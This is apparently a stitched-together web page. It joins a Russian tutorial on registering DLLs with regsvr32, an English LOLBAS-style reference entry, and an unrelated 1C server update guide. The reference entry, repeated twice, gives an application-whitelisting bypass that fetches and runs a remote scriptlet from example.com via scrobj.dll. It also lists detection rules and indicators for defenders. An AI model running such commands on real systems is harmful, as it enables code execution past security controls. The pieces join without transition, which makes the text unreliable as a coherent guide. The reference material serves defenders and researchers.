увеличен с той целью, чтобы разнообразные пользовательские пакеты при своем удалении, случайно не уменьшили счетчик использования до 0 и не выключили DLL.
32-битные и 64-битные версии regsvr32
Начиная с Windows XP, в зависимости от разрядности ОС, утилита regsvr32.exe располагается либо только в директории %SystemRoot%\System32 для 32-битных систем, либо в папках %SystemRoot%\System32 и %SystemRoot%\SysWOW64 для 64-битных (присутствуют две разные версии программы). Представляет собой утилиту командной строки, то есть, иными словами, работает с консолью и может использоваться в сценариях.
В данный момент более активно начали использоваться 64-битные версии Windows. Если в 32-битных версиях Windows всё было достаточно прозрачно и присутствовало только одна версия программы, то в 64-битных версиях ОС имеются две версии утилиты regsvr32:
- 64-разрядная версия утилиты — %SystemRoot%\System32\regsvr32.exe (используется по-умолчанию при запуске без конкретизации пути);
- 32-разрядная версия утилиты — %systemRoot%\SysWoW64\regsvr32.exe
Получается, в 64-битной системе разработчики сохранили прежнюю систему именования каталогов, однако поместили туда уже «родные» 64-битные приложения. Объясняется это обеспечением совместимости приложений и уменьшением временных затрат на трансляцию кода из 32- в 64-разрядную версию Windows. Таким образом, в 64-битной версии Windows могут работать как 32-битные, так и 64-битные версии программ, соответственно, и DLL могут использоваться и 32- и 64-разрядные.
Когда вы запускаете regsvr32 в 64-битной версии ОС для регистрации DLL, вы по-умолчанию используете 64-битную версию утилиты.
Для 64-битных ОС Windows существует золотое правило: директория System32 системы предназначается для родных 64-битных приложений, директория SysWOW64 для 32-битных. Немного не интуитивно, однако это сложившийся факт!! WOW64 (Windows on Windows64) — 32-битная подсистема, которая запускается в 64-битной среде.
Поэтому, если вам требуется зарегистрировать 32-разрядную версию библиотеки DLL в 64-разрядной ОС, и у вас возникает ошибка, то можно поступить следующим образом:
- Открыть командную строку с правами администратора;
- Если требуемая для регистрации 32-разрядная библиотека DLL находится в директории %SystemRoot%\System32, переместить ее в папку %SystemRoot%\SysWoW64;
- Выполнить команду:
%SystemRoot%\SysWoW64\regsvr32 <полный путь к библиотеке DLL>то есть, к примеру: %SystemRoot%\SysWoW64\regsvr32 %SystemRoot%\SysWOW64\test.dll
Если же перед вами стоит задача зарегистрировать 64-битную DLL в 64-разрядной ОС:
- Открыть командную строку с правами администратора;
- Если требуемая для регистрации 64-разрядная библиотека DLL находится в директории %SystemRoot%\SysWOW64, переместить ее в папку %SystemRoot%\System32
- Выполнить команду:
%SystemRoot%\System32\regsvr32 <полный путь к библиотеке DLL>то есть, например: %SystemRoot%\System32\regsvr32 %SystemRoot%\System32\test.dll
Синтаксис regsvr32
Как уже говорилось выше, regsvr32 — это утилита командной строки, поэтому в целях практического использования может запускаться из-под всем уже знакомой cmd, либо использоваться в сценариях.
В большинстве случаев, для регистрации DLL требуются повышенные привилегии, то есть права локального администратора.
Утилита regsvr32.exe имеет следующие параметры командной строки:
Regsvr32 [/u] [/s] [/n] [/i[:cmdline]]
Список ключей утилиты и описание их действия приведем в следующей таблице:
Параметр | Описание |
---|---|
/u |
Отменяет регистрацию DLL. Отменить можно только регистрацию DLL, команда не применима к элементам управления и фильтрам. |
/i |
вызывает функцию DllInstall, передавая ей в качестве параметра необязательную строку команд cmdline; Вызов DllInstall приводит к вызову стандартных функций регистрации DllRegisterServer/DllUnRegisterServer, однако позволяет передать строку параметров, которые могут изменить поведение регистрации, например провести регистрацию DLL более одного раза. Ключ /i при использовании с ключом /u вызывает DllUnInstall. |
/n |
не вызывает DllRegisterServer, то есть вызывается только DllInstall; это может быть использовано с ключом /i для передачи дополнительных параметров для регистрации. |
/s |
«тихий» режим; сообщения не отображаются. |
В общем случае, регистрация библиотеки DLL при помощи regsvr32 может быть выполнена следующей командой:
regsvr32 <имя_библиотеки>.dll
Например:
regsvr32 «C:\Windows\System32\schmmgmt.dll»
Напоминаю, будьте внимательны с версиями утилиты regsvr32 под Windows различной разрядности. В некоторых случаях приходится уточнять путь к утилите при запуске.
Более того, практически всегда, когда регистрируемый компонент лежит вне путей, включенных в переменную %PATH% (к примеру, если он не находится в %SystemRoot%\System32), путь к компоненту приходится уточнять!
Пример:
%SystemRoot%\System32\Regsvr32 %SystemRoot%\System32\macromed\Flash\Flash10a.ocx
*Составные пути к файлу должны заключаться в кавычки по правилам синтаксиса командной строки Windows.
.. /Regsvr32.exe
- AWL bypass
- Execute
Used by Windows to register dlls
Paths:
- C:\Windows\System32\regsvr32.exe
- C:\Windows\SysWOW64\regsvr32.exe
Resources:
- https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
- https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/T1218.010.md
Acknowledgements:
- Casey Smith (@subtee)
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_parent.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_child_process.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_1.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_network_pattern.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6d56e400d209daa77a7900d950a7c587dc0cd2e5/rules/windows/network_connection/sysmon_regsvr32_network_activity.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/5951ad1d9a781a49d61df9af03c7b83ac67a0012/rules/windows/dns_query/dns_query_regsvr32_network_activity.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_regsvr32_flags_anomaly.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml
- Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_regsvr32_application_control_bypass.yml
- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml
- IOC: regsvr32.exe retrieving files from Internet
- IOC: regsvr32.exe executing scriptlet (sct) files
- IOC: DotNet CLR libraries loaded into regsvr32.exe
- IOC: DotNet CLR Usage Log — regsvr32.exe.log
AWL bypass
Execute the specified remote .SCT script with scrobj.dll.
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Usecase: Execute code from remote scriptlet, bypass Application whitelisting
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1218.010
Execute the specified local .SCT script with scrobj.dll.
regsvr32.exe /s /u /i:file.sct scrobj.dll
Usecase: Execute code from scriptlet, bypass Application whitelisting
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1218.010
Execute
Execute the specified remote .SCT script with scrobj.dll.
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Usecase: Execute code from remote scriptlet, bypass Application whitelisting
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1218.010
Execute the specified local .SCT script with scrobj.dll.
regsvr32.exe /s /u /i:file.sct scrobj.dll
Usecase: Execute code from scriptlet, bypass Application whitelisting
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1218.010
Содержание
- 1 Обновление платформы 1С на сервере
- 1.1 Регистрация библиотеки comcntr.dll (соединитель) с помощью regsvr32.exe (х86 версия 1С сервера)
- 1.2 Регистрация библиотеки comcntr.dll (соединитель) через службы компонентов (х86-64 версия 1С сервера)
- 2 Обновление платформы 1С у пользователей
- 3 См. также
Обновление платформы 1С на сервере
Обновление платформы и сервера приложений 1С.
- Все действия необходимо выполнять на сервере под правами администратора.
- Переход с 32 разрядного сервера на 64 разрядный возможен, если это позволяет лицензия на сервер. Перед тем, как устанавливать версию другой разрядности следует это уточнить.
- При обновлении обратите внимание на версию сервера. х86 версия обновляется только на х86. 64-битный сервер использует принципиально другую схему работы с библиотеками.
- Загрузите дистрибутив из личного кабинета 1С:ИТС https://users.v8.1c.ru/
- После обновления сервера обновите платформу на рабочих местах пользователей. Версии платформ должны полностью совпадать. Обычно достаточно установки х86 версии сервера, он проще в настройке и администрировании.
- Из дистрибутива запустите файл установки setup.exe. Пройдете по шагам с установщиком, указав состав установки и учётные данные пользователя, под которым на сервере будет запускаться сервер 1С. Обычно имя пользователя и пароль совпадают с данными администратора сервера.
- После завершения установки зарегистрируйте оснастку управления сервером 1С. Пройдите по следующему пути: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\1С Предприятие 8\Дополнительно\8.3.ХХ.YYYY (где 8.3.ХХ.YYYY версия платформы, которую установили). Найдите ярлык «Регистрация утилиты администрирования серверов» и запустите его под правами администратора сервера. Произойдёт регистрация оснастки. Если регистрация прошла успешно, оснастка успешно запустится.
Следующее действие после обновления: регистрация библиотеки-соединителя в том случае, если на предприятии используются обмены между базами.
Регистрация библиотеки comcntr.dll (соединитель) с помощью regsvr32.exe (х86 версия 1С сервера)
- Запустите консоль (cmd, либо PowerShell) под правами администратора.
- Перейдите в необходимый каталог командой:
- для 32-битной системы Windows командой «cd C:\Windows\System32»,
- для 64-битной системы Windows командой «cd C:\Windows\SysWOW64».
- Вызовите в открытой консоли команду regsvr32.exe, указав путь к нужной dll. Например, «C:\Program Files (x86)\1cv8\8.3.ХХ.YYYY\bin\comcntr.dll» (путь до библиотеки может отличаться, если платформа установлена была в другой каталог).
- Также можно в каждом из способов использовать полный путь к regsvr32.exe:
- C:\Windows\System32\regsvr32 «C:\Program Files (x86)\1cv8\8.3.ХХ.YYYY\bin\comcntr.dll» для 32-битной системы Windows,
- C:\Windows\SysWOW64\regsvr32 «C:\Program Files (x86)\1cv8\8.3.ХХ.YYYY\bin\comcntr.dll» для 64-битной системы Windows.
- При необходимости можно отменить регистрацию dll параметром /u, например regsvr32 «C:\Program Files (x86)\1cv8\8.3.ХХ.YYYY\bin\comcntr.dll» /u.
Регистрация библиотеки comcntr.dll (соединитель) через службы компонентов (х86-64 версия 1С сервера)
Чтобы установить библиотеку как компоненту, выполните следующее:
- Перейдите в Панель управления — Администрирование — Службы компонентов.
- Далее: Компьютеры — Мой компьютер — Приложения COM+.
- В контекстном меню выберите Создать — Приложение. Откроется «Мастер установки приложений COM+».
- Нажмите Далее, Создать новое приложение.
- Введите имя V83COMConnector. Установите переключатель в «Серверное приложение». Нажмите Далее.
- Установите «Текущий пользователь». Нажмите Далее, Готово.
- В появившейся ветке V83COMConnector перейдите к подветке Компоненты.
- В контекстном меню выберите Создать — Компонент.
- Откроется «Мастер установки компонентов COM+». Нажмите Далее. Выберите «Установка новых компонент». Нажмите Далее.
- Произойдет установка новых компонентов. C:\Program Files\1cv8\8.3.ХХ.YYYY\bin\comcntr.dll. Нажмите Далее, Готово.
- Перейдите к ветке V83COMConnector. В контекстном меню выберите пункт Свойства, в открывшемся окне перейти на закладку Безопасность.
- Снимите галочку «Принудительная проверка доступа для приложений» и поставьте галочку «Применить политику программных ограничений». Установите уровень ограничений «Неограниченный». Нажмите Далее и ОК.
Обновление платформы 1С у пользователей
- Скачайте дистрибутив платформы 1С нужной версии в личном кабинете ИТС https://users.v8.1c.ru/
- Закройте все окна с программой 1С.
- Распакуйте архив с файлами новой версии платформы.
- Запустите файл 1CEnterprise 8.msi:
- Нажимайте кнопку Далее в окнах установки.
- Если у вас уже установлен HASP Device Driver, то снимите галочки на шаге его установки. HASP Device Driver устанавливается один раз при первой установке платформы 1С на компьютер. Если вы обновляете платформу, то скорее всего он у вас уже есть.
- Произойдет обновление платформы 1С8.
- Перезагружать компьютер не надо. Запустите конфигурацию для работы.
См. также
- 1С8:Установка платформы